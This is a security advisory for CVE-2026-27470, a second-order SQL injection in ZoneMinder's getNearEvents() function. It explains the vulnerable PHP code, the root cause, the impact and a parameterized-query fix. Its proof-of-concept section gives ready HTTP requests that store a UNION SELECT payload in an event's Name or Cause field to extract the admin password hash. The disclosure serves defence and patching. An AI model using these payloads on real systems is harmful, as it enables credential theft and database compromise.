Skip to content

Second-Order SQL Injection in `getNearEvents()` via Stored Event Name and Cause Fields

High
connortechnology published GHSA-r6gm-478g-f2c4 Feb 19, 2026

Package

zoneminder (Packagist)

Affected versions

<= 1.36.33

Patched versions

1.38.1, 1.36.38

Description

Summary

A second-order SQL injection vulnerability exists in ZoneMinder's web/ajax/status.php file within the getNearEvents() function. Event field values (specifically Name and Cause) are stored safely via parameterized queries but are later retrieved and concatenated directly into SQL WHERE clauses without escaping. An authenticated user with Events edit and view permissions can exploit this to execute arbitrary SQL queries.


Severity

High (CVSS 3.1 Score: 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

An authenticated user with standard Events permissions can read arbitrary database content (including user credentials) and potentially modify data through SQL injection.


Details

Vulnerability Type

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CWE-564: SQL Injection: Hibernate (Second-Order)

Affected Component

  • File: web/ajax/status.php, lines 524 and 549 (inside getNearEvents())
  • Entry Points: web/ajax/event.php (rename action, line 161), (edit action, line 168)
  • Branch: Default branch (latest commit at time of analysis)

Vulnerable Code

web/ajax/status.php, lines 518-527 (first SQL query):

$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'<=':'>=').' \''.$event[$_REQUEST['sort_field']].'\'';

web/ajax/status.php, lines 543-552 (second SQL query):

$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'>=':'<=').' \''.$event[$_REQUEST['sort_field']].'\'';

In both cases, $event[$_REQUEST['sort_field']] is a value retrieved from the database — specifically from a SELECT * FROM Events WHERE Id=? query (line 503). This value is concatenated directly into the SQL string between single quotes, without any escaping.

Safe Storage (Entry Point)

web/ajax/event.php, line 161:

dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', array($_REQUEST['eventName'], $_REQUEST['id']));

web/ajax/event.php, lines 168-169:

dbQuery('UPDATE Events SET Cause = ?, Notes = ? WHERE Id = ?',
    array($_REQUEST['newEvent']['Cause'], $_REQUEST['newEvent']['Notes'], $_REQUEST['id']));

Both write operations correctly use parameterized queries (? placeholders), so the malicious payload is safely stored in the database. The vulnerability occurs when the stored value is later read and concatenated into a new SQL query without escaping.

Root Cause

  1. Second-Order Pattern: Data is safely written to the database via parameterized queries, creating a false sense of security. However, when the same data is read back, it is trusted and concatenated directly into SQL statements.
  2. String Interpolation in SQL: The $event[$_REQUEST['sort_field']] expression reads a field from the Events table and embeds it between single quotes in a SQL string via string concatenation, rather than using a parameterized query placeholder.
  3. Controllable sort_field: The sort_field parameter controls which column of the event record is used. While $sortColumn (the SQL column reference) is safely whitelisted via a switch statement in parseSort(), the $_REQUEST['sort_field'] value itself (which becomes the array key for $event) is passed through without restriction. The attacker simply needs to choose a field they can control — Name or Cause.

Data Flow

  1. Store (safe): POST /ajax/event.phpdbQuery('UPDATE Events SET Name = ? ...', [$payload, $id]) — parameterized, payload stored in DB
  2. Retrieve (safe): $event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]) — parameterized read
  3. Inject (VULNERABLE): $sql = '... \'' . $event[$_REQUEST['sort_field']] . '\'' — direct string concatenation into SQL

Authentication

The getNearEvents() function is registered as entity nearevents with 'permission' => 'Events' (line 230). Access requires canView('Events') which is checked at line 242. The rename/edit actions in event.php are also permission-gated.


Proof of Concept

Step 1: Store Malicious Payload

As an authenticated user with Events edit permission, rename an existing event:

POST /ajax/event.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rename&id=1&eventName=' UNION SELECT password FROM Users WHERE Username='admin' -- 

This safely stores the SQL injection payload as the event's Name field using a parameterized query.

Step 2: Trigger Second-Order SQL Injection

Request the near events for the same event, with sort_field=Name:

GET /ajax/status.php?entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1

The server will:

  1. Fetch the event: SELECT * FROM Events WHERE Id=1$event['Name'] = "' UNION SELECT password FROM Users WHERE Username='admin' -- "
  2. Build the vulnerable query:
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != 1 AND E.StartDateTime
<= '' UNION SELECT password FROM Users WHERE Username='admin' -- '
  1. The UNION query extracts the admin password hash.

Alternative Vector: Cause Field

The same attack works with the Cause field:

POST /ajax/event.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=edit&id=1&newEvent[Cause]=' UNION SELECT password FROM Users WHERE Username='admin' -- &newEvent[Notes]=x

Then trigger with sort_field=Cause.

Note: This analysis is based on source code review. I have NOT tested this against a live ZoneMinder installation.


Impact

Confidentiality: HIGH

  • Extract all database content including user credentials (password hashes)
  • Read monitor configurations, event data, and system settings
  • Access API keys and authentication tokens stored in the database

Integrity: HIGH

  • Through stacked queries or subqueries (depending on the database driver), an attacker may modify data
  • Potential to create new admin accounts or escalate privileges

Availability: HIGH

  • SQL injection can be used to corrupt or delete database content
  • Heavy queries can cause denial of service

Recommended Fix

Immediate Fix: Use Parameterized Queries

Replace the string concatenation with parameterized query placeholders:

$sql = '
SELECT E.Id AS Id, E.StartDateTime AS StartDateTime
FROM Events AS E
INNER JOIN Monitors AS M ON E.MonitorId = M.Id
LEFT JOIN Events_Tags AS ET ON E.Id = ET.EventId
LEFT JOIN Tags AS T ON T.Id = ET.TagId
WHERE E.Id != ? AND '.$sortColumn.'
'.($sortOrder=='ASC'?'<=':'>=').' ?';

// ...

$result = dbQuery($sql, [$eventId, $event[$_REQUEST['sort_field']], $event['StartDateTime']]);

Apply the same fix to both the "previous" and "next" event queries in getNearEvents().

Defense in Depth: Whitelist sort_field Values

While parseSort() already whitelists $sortColumn, add an explicit whitelist for $_REQUEST['sort_field'] to ensure only expected field names are used as array keys:

$allowedSortFields = ['Id', 'Name', 'Cause', 'StartDateTime', 'EndDateTime', 'Length', 'Frames', 'AlarmFrames', 'TotScore', 'AvgScore', 'MaxScore', 'MonitorName', 'Notes', 'DiskSpace'];
if (!in_array($_REQUEST['sort_field'], $allowedSortFields)) {
    $_REQUEST['sort_field'] = 'StartDateTime';
}

References


CVE Assignment Request

I kindly request that a CVE ID be assigned to this vulnerability. This issue meets the criteria for CVE assignment as it affects a widely-used open-source project (5.3k+ GitHub stars) and has a clear security impact (SQL Injection leading to data exfiltration and potential data manipulation).


Reporter


Disclosure Timeline

  • 2026-01-27: Vulnerability discovered via source code review
  • 2026-01-27: Report submitted to ZoneMinder via GitHub Security Advisory

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-27470

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Credits